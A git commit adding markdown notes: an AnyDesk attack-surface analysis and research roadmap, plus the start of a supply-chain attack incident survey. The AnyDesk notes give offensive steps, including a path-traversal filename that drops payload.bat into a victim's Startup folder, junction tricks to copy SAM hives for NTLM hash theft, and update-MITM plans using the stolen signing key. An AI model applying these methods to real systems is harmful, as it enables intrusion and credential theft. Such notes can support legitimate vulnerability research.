initial commit
This commit is contained in:
@@ -0,0 +1,175 @@
|
|||||||
|
# AnyDesk Attack Surface Analysis
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
- **Binary**: AnyDesk.exe (~30-40MB, C++, not packed, standard PE)
|
||||||
|
- **Protocol**: Custom proprietary (NOT RDP)
|
||||||
|
- **Codec**: DeskRT — proprietary video codec designed for screen capture, low-latency
|
||||||
|
- **Transport**: TCP (primary port 6568 for direct, or relay via AnyDesk servers on 80/443)
|
||||||
|
- **Encryption**: TLS 1.2 with RSA 2048 key exchange, AES-256 for session data
|
||||||
|
- **Platform**: Windows, macOS, Linux, Android, iOS
|
||||||
|
|
||||||
|
## Known CVEs (Sparse — Under-Researched Target)
|
||||||
|
|
||||||
|
| CVE | Year | Type | Impact | Details |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| CVE-2024-12754 | 2024 | Path traversal / symlink | Local privesc to SYSTEM | Background image copy runs as SYSTEM. Symlink junction → read SAM/SYSTEM/SECURITY hives. PoC published. Fixed in 9.0.1 |
|
||||||
|
| CVE-2024-52940 | 2024 | Info disclosure | Public IP exposure | "Allow Direct Connections" leaks public IP. Affects ≤8.1.0 |
|
||||||
|
| CVE-2025-25065 | 2025 | SSRF | Internal network access | RSS feed parser allows redirecting requests to internal endpoints |
|
||||||
|
| CVE-2024-45516 | 2024 | XSS | Session injection | Cross-site scripting in user sessions |
|
||||||
|
|
||||||
|
**Key observation**: Only 4 CVEs in recent history. Compare to RDP's 7 RCEs in 18 months. This means either AnyDesk is incredibly secure (unlikely for a complex C++ network application) or nobody is looking hard enough (much more likely).
|
||||||
|
|
||||||
|
## Attack Surface Map
|
||||||
|
|
||||||
|
### 1. DeskRT Codec (HIGHEST VALUE — RCE TARGET)
|
||||||
|
|
||||||
|
**What it is**: Proprietary video codec for encoding/decoding screen content. Designed for computer graphics (not video), optimized for text/UI rendering with low latency.
|
||||||
|
|
||||||
|
**Attack surface**:
|
||||||
|
- Frame decompression in the client
|
||||||
|
- Keyframe vs delta frame parsing
|
||||||
|
- Color space conversion
|
||||||
|
- Resolution/scaling calculations (integer overflow potential)
|
||||||
|
- Tile/block decomposition
|
||||||
|
|
||||||
|
**Why it's promising**:
|
||||||
|
- Fully proprietary — zero public security audits
|
||||||
|
- Complex binary parsing (decompression algorithms)
|
||||||
|
- Same bug class as RDP bitmap overflow (CVE-2025-29966): malicious server sends oversized/malformed frame → heap overflow in client
|
||||||
|
- DeskRT is the core of AnyDesk's value proposition, meaning it's complex and highly optimized (optimization often introduces bounds-checking gaps)
|
||||||
|
|
||||||
|
**Approach**:
|
||||||
|
1. Capture DeskRT frames between two AnyDesk instances (Wireshark/raw TCP capture)
|
||||||
|
2. Identify frame boundaries and header format
|
||||||
|
3. RE the decoder in AnyDesk.exe (look for decompression loops, memory allocation based on header fields)
|
||||||
|
4. Build a fake AnyDesk server that sends malformed DeskRT frames
|
||||||
|
5. Fuzz frame headers: width, height, stride, tile count, compressed size fields
|
||||||
|
6. Monitor for crashes (heap overflow, integer overflow, OOB read/write)
|
||||||
|
|
||||||
|
### 2. File Transfer (HIGHEST PROBABILITY — PATH TRAVERSAL)
|
||||||
|
|
||||||
|
**What it is**: AnyDesk has built-in file transfer (file manager + drag-and-drop).
|
||||||
|
|
||||||
|
**Attack surface**:
|
||||||
|
- Filename handling when receiving files from remote side
|
||||||
|
- Destination path construction
|
||||||
|
- Character encoding (UTF-8/UTF-16 filename handling)
|
||||||
|
- Symbolic link / junction following
|
||||||
|
- File size validation
|
||||||
|
- Metadata transfer (timestamps, attributes)
|
||||||
|
|
||||||
|
**Why it's promising**:
|
||||||
|
- Path traversal in file transfer has been found in RDP FOUR separate times (2019, 2020, 2025 x2)
|
||||||
|
- CVE-2024-12754 shows AnyDesk already has path handling issues (symlink/junction following)
|
||||||
|
- File transfer in remote desktop software is a consistently vulnerable feature
|
||||||
|
- If the receiving client doesn't sanitize `..\..\` or `../` in filenames from the remote side, you get arbitrary file write
|
||||||
|
|
||||||
|
**Approach**:
|
||||||
|
1. Set up two AnyDesk instances
|
||||||
|
2. Initiate file transfer, capture the protocol
|
||||||
|
3. RE the filename parsing in the receiving client
|
||||||
|
4. Test: send a file with name `..\..\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat`
|
||||||
|
5. Test: send a file with name using forward slashes `../../`
|
||||||
|
6. Test: Unicode path separators, null bytes, double encoding
|
||||||
|
7. If path traversal works → arbitrary file write → Startup folder → code execution
|
||||||
|
|
||||||
|
### 3. Clipboard Sync
|
||||||
|
|
||||||
|
**What it is**: Bidirectional clipboard sharing between connected machines.
|
||||||
|
|
||||||
|
**Attack surface**:
|
||||||
|
- Clipboard format parsing (text, rich text, images, files)
|
||||||
|
- File copy/paste operations (FileGroupDescriptor equivalent)
|
||||||
|
- Image format parsing (bitmap data from clipboard)
|
||||||
|
- Large clipboard data handling (buffer allocation)
|
||||||
|
|
||||||
|
**Why it's promising**:
|
||||||
|
- Same attack surface that produced CVE-2019-0887 in RDP
|
||||||
|
- If AnyDesk supports file copy/paste via clipboard, the filename in the file descriptor is server-controlled input
|
||||||
|
- Image clipboard data requires decoding — potential for heap overflow
|
||||||
|
|
||||||
|
**Approach**:
|
||||||
|
1. Copy a file on the remote side, paste on the local side
|
||||||
|
2. Capture the clipboard protocol messages
|
||||||
|
3. RE the file descriptor format
|
||||||
|
4. Inject path traversal in the filename
|
||||||
|
5. Test image clipboard with oversized/malformed bitmap data
|
||||||
|
|
||||||
|
### 4. Auto-Update Mechanism
|
||||||
|
|
||||||
|
**What it is**: AnyDesk checks for and downloads updates automatically.
|
||||||
|
|
||||||
|
**Attack surface**:
|
||||||
|
- Update check URL — is it HTTPS with cert pinning?
|
||||||
|
- Download verification — signature check, hash verification
|
||||||
|
- Update extraction — temp directory, file permissions
|
||||||
|
- Update execution — does the new binary get verified before launch?
|
||||||
|
|
||||||
|
**Why it's promising**:
|
||||||
|
- If there's no cert pinning, a MITM (or DNS hijack) can serve a malicious update
|
||||||
|
- If signature verification is weak or bypassable, the update binary can be replaced
|
||||||
|
- The update runs with whatever privilege AnyDesk has (often SYSTEM if installed as service)
|
||||||
|
- CVE-2024-12754 showed AnyDesk's SYSTEM-level file operations are exploitable
|
||||||
|
|
||||||
|
**Approach**:
|
||||||
|
1. Monitor AnyDesk's update check (Wireshark + DNS capture)
|
||||||
|
2. Identify the update URL and certificate chain
|
||||||
|
3. Attempt MITM with a self-signed cert (test for cert pinning)
|
||||||
|
4. If pinned: look for pinning bypass (older TLS, fallback URLs)
|
||||||
|
5. If not pinned: serve a modified binary, check if it's accepted
|
||||||
|
6. Examine signature verification code in AnyDesk.exe
|
||||||
|
|
||||||
|
### 5. Protocol Framing / Handshake
|
||||||
|
|
||||||
|
**What it is**: The custom protocol that wraps all AnyDesk communication.
|
||||||
|
|
||||||
|
**Attack surface**:
|
||||||
|
- Message type/length fields — integer overflow in length parsing
|
||||||
|
- Handshake/authentication — can a malicious server send unexpected responses?
|
||||||
|
- Channel multiplexing — can you send data on unexpected channels?
|
||||||
|
- Compression — if messages are compressed, decompression bugs
|
||||||
|
|
||||||
|
**Approach**:
|
||||||
|
1. Capture raw TCP traffic between two instances
|
||||||
|
2. Identify the framing format (TLV? length-prefixed? delimiter?)
|
||||||
|
3. Map all message types
|
||||||
|
4. Build a fake server that sends malformed messages
|
||||||
|
5. Fuzz length fields, type fields, out-of-order messages
|
||||||
|
|
||||||
|
## Research Priority
|
||||||
|
|
||||||
|
| Target | Difficulty | Probability | Impact | Priority |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| File transfer path traversal | Low-Medium | Very High | High (arbitrary file write) | **1** |
|
||||||
|
| DeskRT codec fuzzing | Medium-High | High | Critical (heap overflow → RCE) | **2** |
|
||||||
|
| Clipboard file paste | Medium | High | High (arbitrary file write) | **3** |
|
||||||
|
| Auto-update MITM | Low-Medium | Medium | Critical (RCE as SYSTEM) | **4** |
|
||||||
|
| Protocol framing | Medium | Medium | Variable | **5** |
|
||||||
|
|
||||||
|
## Setup Requirements
|
||||||
|
|
||||||
|
1. Two Windows VMs (or one VM + host)
|
||||||
|
2. AnyDesk installed on both (free version works)
|
||||||
|
3. Wireshark with TCP stream capture
|
||||||
|
4. IDA Pro or Ghidra for RE of AnyDesk.exe
|
||||||
|
5. x64dbg attached to AnyDesk for dynamic analysis
|
||||||
|
6. Python for building fake server / protocol replayer
|
||||||
|
|
||||||
|
## Key Files to RE
|
||||||
|
|
||||||
|
| File | What to Look For |
|
||||||
|
|---|---|
|
||||||
|
| `AnyDesk.exe` | Main binary — all protocol handling, codec, file transfer |
|
||||||
|
| `*.dll` in AnyDesk install dir | Any helper DLLs (crypto, codec, etc.) |
|
||||||
|
| `%ProgramData%\AnyDesk\` | Config files, logs, connection data |
|
||||||
|
| `%AppData%\AnyDesk\` | User-level config |
|
||||||
|
| `ad.trace` / `connection_trace.txt` | Debug logs with protocol info |
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [CVE-2024-12754 PoC and Analysis](https://securityonline.info/anydesk-exploit-alert-cve-2024-12754-enables-privilege-escalation-poc-available/)
|
||||||
|
- [CVE-2024-52940 IP Exposure](https://www.splashtop.com/blog/lessons-from-anydesk-ip-exposure-vulnerability)
|
||||||
|
- [AnyDesk February 2024 Breach](https://thehackernews.com/search/label/AnyDesk)
|
||||||
|
- [NCC Group: Threat Actors Leveraging AnyDesk](https://www.nccgroup.com/research/the-dark-side-how-threat-actors-leverage-anydesk-for-malicious-activities/)
|
||||||
|
- [AnyDesk CVE List](https://www.cvedetails.com/vulnerability-list/vendor_id-16953/Anydesk.html)
|
||||||
@@ -0,0 +1,299 @@
|
|||||||
|
# AnyDesk — Exploitable Vulnerabilities & Attack Methods
|
||||||
|
|
||||||
|
## Executive Summary
|
||||||
|
|
||||||
|
AnyDesk has only 4 publicly known CVEs in recent history — a suspiciously low number for a complex C++ network application handling video codecs, file transfers, clipboard sync, and custom protocol framing. The February 2024 breach (code signing keys + source code stolen) confirms the codebase exists in adversary hands. The attack surface is massive and almost entirely unresearched.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Known CVEs — Detailed Analysis
|
||||||
|
|
||||||
|
### CVE-2024-12754 — Symlink/Junction Path Traversal → Local Privilege Escalation to SYSTEM
|
||||||
|
|
||||||
|
**CVSS:** 5.5 (Medium) — but functionally gives SYSTEM file read
|
||||||
|
**Discoverer:** ZDI-24-1711
|
||||||
|
**Affected:** AnyDesk < 9.0.1
|
||||||
|
**Fixed:** AnyDesk 9.0.1
|
||||||
|
|
||||||
|
**Technical Details:**
|
||||||
|
The AnyDesk service (running as SYSTEM) copies the user's desktop background image to a cache location during session setup. The vulnerability:
|
||||||
|
|
||||||
|
1. AnyDesk service reads the current user's background image path from registry
|
||||||
|
2. Service copies the file to an AnyDesk cache directory
|
||||||
|
3. The copy operation runs as NT AUTHORITY\SYSTEM
|
||||||
|
4. The service does NOT validate that the source path doesn't traverse through symlinks/junctions
|
||||||
|
|
||||||
|
**Exploitation:**
|
||||||
|
1. Attacker creates a junction point: `C:\Users\<user>\AppData\Roaming\AnyDesk\wallpaper` → `\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\CONFIG\`
|
||||||
|
2. Sets background image to point to a file in the junction target
|
||||||
|
3. AnyDesk service follows the junction (running as SYSTEM) and copies SAM/SYSTEM/SECURITY hive files
|
||||||
|
4. Attacker reads the copied hive files from the AnyDesk cache directory
|
||||||
|
5. Extract NTLM hashes from SAM + SYSTEM → credential theft → domain compromise
|
||||||
|
|
||||||
|
**Key Insight for Further Research:**
|
||||||
|
- AnyDesk's SYSTEM service performs file operations based on user-controlled paths
|
||||||
|
- If there are OTHER file operations the service performs (logs, configs, temp files), the same symlink attack class may apply
|
||||||
|
- The service likely also handles file transfer operations — does it validate paths there?
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### CVE-2024-52940 — Public IP Disclosure
|
||||||
|
|
||||||
|
**CVSS:** 7.5
|
||||||
|
**Affected:** AnyDesk ≤ 8.1.0
|
||||||
|
**Type:** Information disclosure
|
||||||
|
|
||||||
|
When "Allow Direct Connections" is enabled, AnyDesk leaks the user's public IP address in network traffic. This is lower severity but useful for:
|
||||||
|
- Deanonymizing targets behind VPNs
|
||||||
|
- Targeting specific IP ranges for network attacks
|
||||||
|
- Combining with other vulns for targeted exploitation
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### CVE-2025-25065 — SSRF in RSS Feed Parser
|
||||||
|
|
||||||
|
**Type:** Server-Side Request Forgery
|
||||||
|
**Impact:** Internal network access from AnyDesk relay infrastructure
|
||||||
|
|
||||||
|
The RSS feed parser in AnyDesk can be redirected to make requests to internal endpoints. This targets AnyDesk's infrastructure rather than end-user clients, but demonstrates that input validation is weak across the codebase.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### CVE-2024-45516 — XSS in User Sessions
|
||||||
|
|
||||||
|
**Type:** Cross-site scripting
|
||||||
|
**Impact:** Session injection
|
||||||
|
|
||||||
|
Limited details available, but demonstrates that AnyDesk's web-facing components have injection vulnerabilities.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The February 2024 Breach — What Was Stolen
|
||||||
|
|
||||||
|
**Timeline:**
|
||||||
|
- December 2023: Attackers gain access to AnyDesk production systems
|
||||||
|
- Mid-January 2024: AnyDesk detects breach during security audit
|
||||||
|
- February 2, 2024: Public disclosure
|
||||||
|
|
||||||
|
**What was compromised:**
|
||||||
|
1. **Source code** — Complete AnyDesk source code including DeskRT codec
|
||||||
|
2. **Code signing private keys** — Used to sign AnyDesk.exe distributed to all customers
|
||||||
|
3. **Production system access** — Full access to build/distribution infrastructure
|
||||||
|
|
||||||
|
**Impact:**
|
||||||
|
- Over 500 samples of Agent Tesla malware signed with the stolen AnyDesk certificate were found on VirusTotal (dating back to June 2022 — the breach may have started earlier)
|
||||||
|
- AnyDesk revoked the old certificate and issued new one in version 8.0.8
|
||||||
|
- All customer passwords were force-reset
|
||||||
|
|
||||||
|
**Why this matters for vulnerability research:**
|
||||||
|
- The source code is in adversary hands — state actors likely have it
|
||||||
|
- If you can obtain or reconstruct the protocol through RE, you can build a fake AnyDesk endpoint
|
||||||
|
- The code signing key theft means signed malware could masquerade as legitimate AnyDesk
|
||||||
|
- The DeskRT codec source would make fuzzing trivial — but even without it, black-box fuzzing of the binary codec is viable
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Unexplored Attack Surfaces (Original Research Targets)
|
||||||
|
|
||||||
|
### 1. File Transfer Path Traversal — HIGHEST PROBABILITY
|
||||||
|
|
||||||
|
**Why this is almost certainly vulnerable:**
|
||||||
|
- RDP file transfer has had path traversal FIVE times (2019, 2020, 2025 x3)
|
||||||
|
- CVE-2024-12754 proves AnyDesk has path validation issues
|
||||||
|
- File transfer is a common, complex feature that handles user-controlled filenames
|
||||||
|
- AnyDesk supports both file manager transfers AND drag-and-drop — two code paths to test
|
||||||
|
|
||||||
|
**Attack scenario:**
|
||||||
|
1. Victim connects to attacker's AnyDesk instance (or attacker connects to victim and has file transfer permission)
|
||||||
|
2. Attacker initiates file transfer with filename: `..\..\..\..\Users\<victim>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat`
|
||||||
|
3. If AnyDesk's receiving side doesn't validate the filename, the file lands in the Startup folder
|
||||||
|
4. Next login → payload executes → RCE
|
||||||
|
|
||||||
|
**Testing approach:**
|
||||||
|
1. Set up two AnyDesk instances on separate VMs
|
||||||
|
2. Capture file transfer traffic with Wireshark (TCP port 6568)
|
||||||
|
3. Identify the protocol message that carries filenames
|
||||||
|
4. Use a TCP proxy to modify the filename in transit (add ../ sequences)
|
||||||
|
5. Test both the file manager and drag-and-drop transfer paths
|
||||||
|
6. Test with: backslashes, forward slashes, Unicode path separators, null bytes, double encoding
|
||||||
|
7. Monitor the receiving side's filesystem to see where the file lands
|
||||||
|
|
||||||
|
**Alternative approach (faster):**
|
||||||
|
1. Attach x64dbg to receiving AnyDesk instance
|
||||||
|
2. Set breakpoints on CreateFileW, WriteFile, MoveFileW
|
||||||
|
3. Initiate a normal file transfer
|
||||||
|
4. Trace the call stack to find where filenames are processed
|
||||||
|
5. Look for validation (or lack thereof) in the filename handling code
|
||||||
|
6. If no validation exists → path traversal confirmed
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 2. DeskRT Codec — RCE via Malformed Frames
|
||||||
|
|
||||||
|
**What DeskRT is:**
|
||||||
|
- Proprietary video codec designed for screen content (not natural video)
|
||||||
|
- Optimized for text, UI elements, low-latency (<16ms)
|
||||||
|
- Up to 60 FPS
|
||||||
|
- Handles keyframes and delta frames
|
||||||
|
- Tile/block-based decomposition
|
||||||
|
- Color space conversion
|
||||||
|
|
||||||
|
**Why it's vulnerable:**
|
||||||
|
- Fully proprietary — zero public security audits
|
||||||
|
- Complex binary format with decompression algorithms
|
||||||
|
- Header fields control memory allocation sizes (width, height, stride, tile count, compressed size)
|
||||||
|
- Same bug class as CVE-2025-29966 (RDP bitmap heap overflow): malicious server sends crafted frame → client allocates undersized buffer → heap overflow
|
||||||
|
- DeskRT is highly optimized for performance — optimization routinely sacrifices bounds checking
|
||||||
|
|
||||||
|
**Attack scenario:**
|
||||||
|
1. Build a fake AnyDesk endpoint (or modify traffic via TCP proxy)
|
||||||
|
2. Send DeskRT frames with manipulated header fields:
|
||||||
|
- Width/height that cause integer overflow in `width * height * bytes_per_pixel`
|
||||||
|
- Compressed size field that doesn't match actual data
|
||||||
|
- Tile count that exceeds allocated array
|
||||||
|
- Delta frame referencing non-existent keyframe regions
|
||||||
|
3. Client's DeskRT decoder processes the malformed frame
|
||||||
|
4. Integer overflow → small allocation, large copy → heap overflow
|
||||||
|
5. Heap overflow → arbitrary code execution
|
||||||
|
|
||||||
|
**Research approach:**
|
||||||
|
1. Capture legitimate DeskRT frames between two AnyDesk instances
|
||||||
|
2. Identify frame header format: magic bytes, version, width, height, tile info, compression type
|
||||||
|
3. RE the decoder functions in AnyDesk.exe (search for decompression loops, alloc patterns)
|
||||||
|
4. Build a Python proxy that modifies DeskRT frames in transit
|
||||||
|
5. Systematic fuzzing: mutate each header field while monitoring for crashes
|
||||||
|
6. Use PageHeap + GFlags for enhanced heap corruption detection
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 3. Clipboard Injection
|
||||||
|
|
||||||
|
**Attack surface:**
|
||||||
|
- AnyDesk syncs clipboard bidirectionally
|
||||||
|
- Clipboard can carry: text, rich text, images, files
|
||||||
|
- File clipboard operations use descriptors with filenames (similar to RDP's FileGroupDescriptorW)
|
||||||
|
- Image clipboard data requires format-specific decoding
|
||||||
|
|
||||||
|
**Path traversal via clipboard file paste:**
|
||||||
|
1. Copy a file on the attacker side
|
||||||
|
2. AnyDesk sends clipboard sync message to victim
|
||||||
|
3. If the file descriptor carries an unsanitized filename → path traversal on paste
|
||||||
|
4. Same attack as CVE-2019-0887 but in AnyDesk instead of RDP
|
||||||
|
|
||||||
|
**Image clipboard overflow:**
|
||||||
|
1. Copy a crafted image to clipboard on attacker side
|
||||||
|
2. AnyDesk sends bitmap/image data to victim
|
||||||
|
3. If width/height/bpp fields are server-controlled and not validated → heap overflow on decode
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 4. Auto-Update MITM
|
||||||
|
|
||||||
|
**The 2024 breach context:**
|
||||||
|
- AnyDesk's code signing keys were stolen
|
||||||
|
- They issued new certificates, but the UPDATE MECHANISM itself may be weak
|
||||||
|
|
||||||
|
**Research questions:**
|
||||||
|
1. Does AnyDesk use certificate pinning for update checks?
|
||||||
|
2. What URL does it check? Is it HTTPS-only or does it fall back to HTTP?
|
||||||
|
3. Is the update binary signature-verified before execution?
|
||||||
|
4. Can a DNS hijack + self-signed cert serve a malicious update?
|
||||||
|
5. Does the update run as SYSTEM (since AnyDesk service runs as SYSTEM)?
|
||||||
|
|
||||||
|
**If no cert pinning:**
|
||||||
|
- MITM the update check → serve malicious AnyDesk.exe
|
||||||
|
- If signed with the stolen (now-revoked) cert, older clients may still accept it
|
||||||
|
- Update runs as SYSTEM → instant SYSTEM-level code execution
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 5. Protocol Framing Attacks
|
||||||
|
|
||||||
|
**AnyDesk's custom protocol:**
|
||||||
|
- Not RDP — entirely proprietary
|
||||||
|
- TLS 1.2 with RSA 2048 key exchange
|
||||||
|
- AES-256 for session encryption
|
||||||
|
- TCP primary (port 6568 direct, 80/443 via relay)
|
||||||
|
- Message types for: video, audio, file transfer, clipboard, control, input
|
||||||
|
|
||||||
|
**Fuzzing approach:**
|
||||||
|
1. Capture raw TCP traffic (pre-TLS if possible, or instrument AnyDesk to log plaintext)
|
||||||
|
2. Identify TLV or length-prefixed framing structure
|
||||||
|
3. Map all message type IDs
|
||||||
|
4. Build a protocol-aware fuzzer that mutates:
|
||||||
|
- Message type field (send unexpected types)
|
||||||
|
- Length fields (undersized, oversized, zero, 0xFFFFFFFF)
|
||||||
|
- Out-of-order messages (data before handshake)
|
||||||
|
- Compressed message bodies with bad decompression params
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## AnyDesk as a "Malicious Server" (Equivalent to Rogue RDP)
|
||||||
|
|
||||||
|
### Can you RAT someone connecting to your AnyDesk?
|
||||||
|
|
||||||
|
**Short answer:** Yes, but differently from RDP.
|
||||||
|
|
||||||
|
**AnyDesk permissions model:**
|
||||||
|
When someone connects to your AnyDesk instance, YOU control what they can do. But when YOU connect to someone else, they can grant you permissions. The attack vectors depend on the direction:
|
||||||
|
|
||||||
|
**Scenario A: Victim connects to attacker's AnyDesk**
|
||||||
|
- Attacker has full control of what the victim sees (screen content)
|
||||||
|
- If file transfer is enabled: attacker can SEND files to victim with potentially traversal paths
|
||||||
|
- If clipboard sync is enabled: attacker can inject clipboard content
|
||||||
|
- The DeskRT video stream to the victim is fully attacker-controlled → codec exploitation
|
||||||
|
|
||||||
|
**Scenario B: Attacker connects to victim (with permissions)**
|
||||||
|
- If victim grants file transfer: attacker can upload files to victim with path traversal
|
||||||
|
- If victim grants clipboard: attacker can inject clipboard content
|
||||||
|
- This is less interesting because it requires victim to grant permissions
|
||||||
|
|
||||||
|
**The most interesting scenario is A** — victim connecting to attacker, because:
|
||||||
|
- The attacker controls the DeskRT stream (codec exploitation)
|
||||||
|
- The attacker controls clipboard responses
|
||||||
|
- The attacker controls file transfer responses
|
||||||
|
- This mirrors the "rogue RDP server" attack model
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Priority Research Roadmap
|
||||||
|
|
||||||
|
| # | Target | Bug Class | Difficulty | Probability | Impact |
|
||||||
|
|---|--------|-----------|------------|-------------|--------|
|
||||||
|
| 1 | File transfer path traversal | Path traversal | Low-Medium | Very High | Arbitrary file write → RCE |
|
||||||
|
| 2 | DeskRT codec fuzzing | Heap overflow / integer overflow | Medium-High | High | RCE (client-side) |
|
||||||
|
| 3 | Clipboard file paste traversal | Path traversal | Medium | High | Arbitrary file write → RCE |
|
||||||
|
| 4 | Clipboard image overflow | Heap overflow | Medium | Medium-High | RCE |
|
||||||
|
| 5 | Auto-update MITM | Signature bypass | Low-Medium | Medium | RCE as SYSTEM |
|
||||||
|
| 6 | Protocol framing | Various | Medium | Medium | Crash → potential RCE |
|
||||||
|
| 7 | SYSTEM service file ops (CVE-2024-12754 variants) | Symlink/junction | Low | High | Local privesc to SYSTEM |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tools Needed
|
||||||
|
|
||||||
|
| Tool | Purpose |
|
||||||
|
|------|---------|
|
||||||
|
| Two Windows VMs | Testing AnyDesk connections |
|
||||||
|
| Wireshark | Protocol capture on port 6568 |
|
||||||
|
| mitmproxy or custom TCP proxy | Modify AnyDesk traffic in transit |
|
||||||
|
| IDA Pro / Ghidra | RE AnyDesk.exe (DeskRT decoder, file transfer handler) |
|
||||||
|
| x64dbg | Dynamic analysis, breakpoints on file/memory operations |
|
||||||
|
| WinAFL or libFuzzer | Coverage-guided fuzzing of DeskRT decoder |
|
||||||
|
| Python | Custom protocol replay / fake AnyDesk endpoint |
|
||||||
|
| GFlags / PageHeap | Enhanced heap corruption detection |
|
||||||
|
| Process Monitor | File system monitoring during file transfer |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [CVE-2024-12754 PoC — AnyDesk Privilege Escalation](https://gbhackers.com/hackers-exploit-anydesk-vulnerability/)
|
||||||
|
- [CVE-2024-12754 Detailed Analysis](https://medium.com/@abdulmoeezsiddiqui4/anydesk-vulnerability-cve-2024-12754-1bfd702216d6)
|
||||||
|
- [AnyDesk February 2024 Breach — Akamai Analysis](https://www.akamai.com/blog/security-research/anydesk-breach-what-to-know-mitigations-and-recommendations)
|
||||||
|
- [Huntress: AnyDesk Stolen Code Signing Certificate](https://www.huntress.com/blog/threat-advisory-possible-anydesk-stolen-code-signing-certificate)
|
||||||
|
- [AnyDesk Breach — Cybereason Aftermath Analysis](https://www.cybereason.com/blog/threat-alert-the-anydesk-breach-aftermath)
|
||||||
|
- [TechCrunch: AnyDesk Password Reset and Cert Revocation](https://techcrunch.com/2024/02/05/remote-access-giant-anydesk-resets-passwords-and-revokes-certificates-after-hack/)
|
||||||
|
- [Synacktiv: Forensic Analysis of Remote Access Tools](https://www.synacktiv.com/en/publications/legitimate-rats-a-comprehensive-forensic-analysis-of-the-usual-suspects)
|
||||||
|
- [AnyDesk CVE List (CVEDetails)](https://www.cvedetails.com/vulnerability-list/vendor_id-16953/Anydesk.html)
|
||||||
|
- [CVE-2024-52940: AnyDesk IP Exposure](https://www.vicarius.io/vsociety/posts/cve-2024-52940-mitigation-anydesk-vulnerability)
|
||||||
@@ -0,0 +1,585 @@
|
|||||||
|
# Supply Chain Social Engineering Attacks -- Defensive Analysis
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
1. [Trojanized Package Attacks](#1-trojanized-package-attacks)
|
||||||
|
2. [Compromised Software Update Mechanisms](#2-compromised-software-update-mechanisms)
|
||||||
|
3. [Fake Software Distribution Sites](#3-fake-software-distribution-sites)
|
||||||
|
4. [Gaming & Modding Community Attacks](#4-gaming--modding-community-attacks)
|
||||||
|
5. [Browser Extension Attacks](#5-browser-extension-attacks)
|
||||||
|
6. [Open Source Maintainer Compromise](#6-open-source-maintainer-compromise)
|
||||||
|
7. [Defensive Measures by Vector](#7-defensive-measures-by-vector)
|
||||||
|
8. [Key Metrics & Trends](#8-key-metrics--trends)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Trojanized Package Attacks
|
||||||
|
|
||||||
|
### Attack Vectors
|
||||||
|
|
||||||
|
**Typosquatting** -- Registering package names that are near-misspellings of popular packages. Attackers target developers who mistype `pip install` or `npm install` commands. In 2023, researchers documented a campaign registering 900 typosquats of 40 popular PyPI packages. By 2024, campaigns scaled to 500+ malicious packages published in single batches.
|
||||||
|
|
||||||
|
**Dependency Confusion** -- Exploiting package manager resolution behavior where a public package with a higher version number takes precedence over an internal/private package of the same name. NuGet is particularly vulnerable; Maven Central is less so due to strict group ID verification via DNS. Alex Birsan's original 2021 research demonstrated this against Apple, Microsoft, and PayPal.
|
||||||
|
|
||||||
|
**Account Compromise & Maintainer Takeover** -- Attackers phish or credential-stuff maintainer accounts, then push malicious updates to legitimate packages with large install bases.
|
||||||
|
|
||||||
|
**Protestware/Sabotage** -- Maintainers intentionally destroying or weaponizing their own packages.
|
||||||
|
|
||||||
|
### Notable Incidents
|
||||||
|
|
||||||
|
| Incident | Year | Ecosystem | Impact | Technique |
|
||||||
|
|----------|------|-----------|--------|-----------|
|
||||||
|
| **event-stream** | 2018 | npm | Bitcoin wallet theft via flatmap-stream dependency | Social engineering maintainer into transferring ownership to attacker "right9ctrl" |
|
||||||
|
| **ua-parser-js** | 2021 | npm | Crypto miners + password stealers pushed to 7M weekly downloads | Maintainer account compromise |
|
||||||
|
| **colors.js / faker.js** | 2022 | npm | Infinite loop bricking thousands of apps | Maintainer self-sabotage (protestware) |
|
||||||
|
| **node-ipc (peacenotwar)** | 2022 | npm | Recursive file overwrite on Russian/Belarusian IPs; affected Vue.js | Maintainer-injected protestware (CVE-2022-23812) |
|
||||||
|
| **ctx + phpass** | 2022 | PyPI/PHP | Credential theft | Expired maintainer domain re-registration |
|
||||||
|
| **MUT-8694** | 2024 | npm + PyPI | Cross-ecosystem credential harvesting on Windows | Coordinated typosquatting across two registries |
|
||||||
|
| **chalk / debug / ansi-regex** | Sep 2025 | npm | Crypto wallet hijacking via 18 popular libraries | Maintainer "qix" phished; obfuscated code injected |
|
||||||
|
| **September 2025 npm attack** | Sep 2025 | npm | 200+ packages compromised | Large-scale coordinated campaign; CISA advisory issued |
|
||||||
|
| **Beamglea** | Oct 2025 | npm | 175 malicious packages for credential harvesting | Bulk upload campaign identified by Socket |
|
||||||
|
| **Shai-Hulud v2** | Nov 2025 | npm + Maven | Credential breadth + destructive fallback behavior | Cross-ecosystem expansion with kill switches |
|
||||||
|
| **shanhai666 NuGet logic bombs** | 2023-2024 | NuGet | Industrial PLC sabotage (Sharp7Extend); trigger dates in 2027-2028 | Time-delayed logic bombs in 9 packages |
|
||||||
|
|
||||||
|
### Scale
|
||||||
|
|
||||||
|
- Malicious npm packages surged from 38 reports (2018) to 2,168 (2024). Snyk identified 3,000+ malicious npm packages in 2024 alone.
|
||||||
|
